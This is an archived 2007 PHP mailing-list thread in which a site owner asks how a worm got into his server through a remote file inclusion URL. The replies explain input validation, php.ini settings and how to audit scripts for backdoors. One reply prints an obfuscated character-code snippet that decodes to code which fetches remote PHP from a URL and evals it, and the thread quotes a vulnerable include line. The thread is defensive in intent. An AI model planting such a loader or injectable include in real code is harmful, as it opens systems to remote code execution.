For Programmers: Free Programming Magazines  


Home > Archive > PHP on Windows > March 2007 > Re: [PHP] Re: Question on virus/worms









You are viewing an archived Text-only version of the thread. To view this thread in it's original format and/or if you want to reply to this thread please [click here]

 

Author Re: [PHP] Re: Question on virus/worms
Stut

2007-03-02, 7:00 pm

Seak, Teng-Fong wrote:
> But after I've spent some time reading the log files, I've finally
> found out how the hackers managed to achieve worm infiltration.
>
> Actually, they're using an URL like this:
> http://my-domain.com/index.php?page...-worm-file.txt?
>
> And the some-worm-file.txt file contains some PHP code, while my
> index.php contains this instruction:
> include("$page.php");
>
> This is enough to make infiltration possible! IMO, this instruction
> is supposed to be used like this, isn't it? So this is obviously a PHP
> security loophole and I don't see how the "poorly written scripts" can
> help anything unless a totally rewrite! And there's no "poor server
> security" that I can see.


You mean to say that you're not validating what you're getting from the
user? Frankly you deserve everything you get. This is *not* a "security
loophole", it *is* a poorly written script.

> I've installed PHP5 and the problem seems fixed. However, PHP
> writes out where the problem occurs! Indeed, the hacker could read a
> line like this:
> Warning: include() [function.include]: URL file-access is disabled in
> the server configuration in
> C:\Inetpub\wwwroot\index.php on line X
>
> I don't want them (the hackers) to be able to read this either.
> That gives too much information about my server's file system. How can
> I stop that?


Read the manual, specifically the error_reporting part. You can turn the
display of these messages off.

> By the way, I know there're still a lot of servers out there still
> using PHP4. Is this vulnerability a known bug? At least, I'm not aware
> of that before!


It's not a bug. It will never be a bug. Yes PHP5 (I believe it's 5.2+)
introduces the ability to turn off the ability to prevent this issue,
but it's still badly written code. Stop blaming the tool, start blaming
the mirror image and start learning how to code defensively.

-Stut
Tim

2007-03-03, 8:01 am

> -----Message d'origine-----
> De : Stut [mailto:stuttle@gmail.com]=20
> Envoy=E9 : vendredi 2 mars 2007 20:23
> =C0 : Seak, Teng-Fong
> Cc : php-windows@lists.php.net; php-general@lists.php.net
> Objet : Re: [PHP] Re: Question on virus/worms
>=20
> Seak, Teng-Fong wrote:
> I've finally=20
> http://my-domain.com/index.php?page...er-domain.com/s
> ome-worm-file.txt?

*smirk*
> while my=20

This one line brings up two known php coding security issues, learn =
about
them on http://phpsec.org
[color=darkred]

NO it is not! See above..
[color=darkred]
YES! Learn about register_globals, allow_url_fopen, include()

Infact go learn PHP before blindly running scripts in a production
environment! Or if you really don't want too learn php at least =
subscribe to
bugtraq mailing list and go through the archive to see if the script you
want to run has a security history, see if they follow up on the issues =
or
just "ignore" the issues, and keep informed to see if any new issues =
have
been brought to hand.
=20[color=darkred]

Not neccassarily a total rewrite, try implementing some functions to
retrieve/filtre your $_GET $_POST data, turn off register_globals, =
replace
all variables relying on register globals with your newly implemented
functions.. Use regular expressions to find the data that needs to be
changed in your scripts..
[color=darkred]

I think its time for you to take a pause on installing these scripts you =
are
downloading and read up on the php.ini configuration file, also do a =
search
on php history and security. Follow the changes in different php =
versions
aswell their are a lot of hints as to what "default" values have changed =
to
improve chances of "poorly written scripts" not being vulnerable. BUT =
unless
you understnad the issues involved these default values are a false =
excuse
for thinking your scripts is "secure". (ie upgrading to php5: you did =
it, it
solved your problem, but you still don't know why because you don't know
what value was changed in your php configuration)

Those few steps will definately be able to give you an idea of what kind =
of
security issues exist, eventually how they are circumvented, and ideas =
on
how you can improve your existing scripts to avoid these issues.

Once you are comfortable with this, before you use a script downloaded =
from
the inet in a production environment, go through the code and make sure =
you
don't see any backdoor code (unecessary fsockopen(), exec() etc.. That =
isn't
related to the scripts original use). Also a good thing to look out for =
is
scripts that run with register_globals =3D off in the php.ini this at =
least
ensures "forced" good practice in coding (this does not mean one cannot =
code
well with register_globals =3D on, it just releaves a potential security =
issue
for the programmer and force him to call url passed variable in a proper
manner ie: using PHP Super Globals, to be able to use them)
[color=darkred]
>=20
> could read a=20
> disabled in=20

Once again learn about php.ini and how it works (re: Stut mentioned -
error_reporting).

[color=darkred]
> there still=20
>=20
> It's not a bug. It will never be a bug. Yes PHP5 (I believe=20
> it's 5.2+) introduces the ability to turn off the ability to=20
> prevent this issue, but it's still badly written code. Stop=20
> blaming the tool, start blaming the mirror image and start=20
> learning how to code defensively.


Can't agree more..

Don't "think" youre secure and live with it, someday it will bite you =
when
you least expect it.. Make it a part of your everyday work to constantly
reduce the risk of unwanted "intrusions"..

Regards,

Tim
Robert Cummings

2007-03-03, 6:59 pm

On Sat, 2007-03-03 at 14:02 +0100, Tim wrote:
>
> Once you are comfortable with this, before you use a script downloaded from
> the inet in a production environment, go through the code and make sure you
> don't see any backdoor code (unecessary fsockopen(), exec() etc.. That isn't
> related to the scripts original use).


And be very careful with eval(). It's a gold mine for hackers since then
they can just do things like:

<?php

$stuff =
'102,117,110,99,116,105,111,110,32,83,73
,76,70,83,68,'
. '72,76,68,70,78,76,72,68,72,74,76,83,68,
76,75,74,68,'
. '76,74,83,72,68,76,74,83,72,68,83,90,68,
70,83,40,41,'
. '10,32,32,32,32,123,10,32,32,32,32,32,32
,32,32,36,99,'
. '111,100,101,32,61,32,102,105,108,101,40
,32,39,104,116,'
. '116,112,58,47,47,119,119,119,46,105,110
,116,101,114,'
. '106,105,110,110,46,99,111,109,47,104,97
,99,107,101,'
. '114,80,97,99,107,46,112,104,112,39,32,4
1,59,10,32,32,'
. '32,32,32,32,32,32,36,99,111,100,101,32,
61,32,105,109,'
. '112,108,111,100,101,40,32,39,39,44,32,3
6,99,111,100,'
. '101,32,41,59,10,10,32,32,32,32,32,32,32
,32,101,118,'
. '97,108,40,32,36,99,111,100,101,32,41,59
,10,32,32,32,'
. '32,125,10,10,32,32,32,32,83,73,76,70,83
,68,72,76,68,'
. '70,78,76,72,68,72,74,76,83,68,76,75,74,
68,76,74,83,'
. '72,68,76,74,83,72,68,83,90,68,70,83,40,
41,59';

$stuff = explode( ',', $stuff );
$stuff = 'c'.'h'.'r'.'('.implode( ').'
.'c'.'h'.'r'.'(', $stuff ).');';

$stuff = eval( 'return '.$stuff );
$stuff = eval( $stuff );

?>

Cheers,
Rob.
--
..------------------------------------------------------------.
| InterJinn Application Framework - http://www.interjinn.com |
:------------------------------------------------------------:
| An application and templating framework for PHP. Boasting |
| a powerful, scalable system for accessing system services |
| such as forms, properties, sessions, and caches. InterJinn |
| also provides an extremely flexible architecture for |
| creating re-usable components quickly and easily. |
`------------------------------------------------------------'
Sponsored Links







Also available: Server administration forum archive | Web Design forum archive | Software forum archive | Hardware reviews archive

Copyright 2008 codecomments.com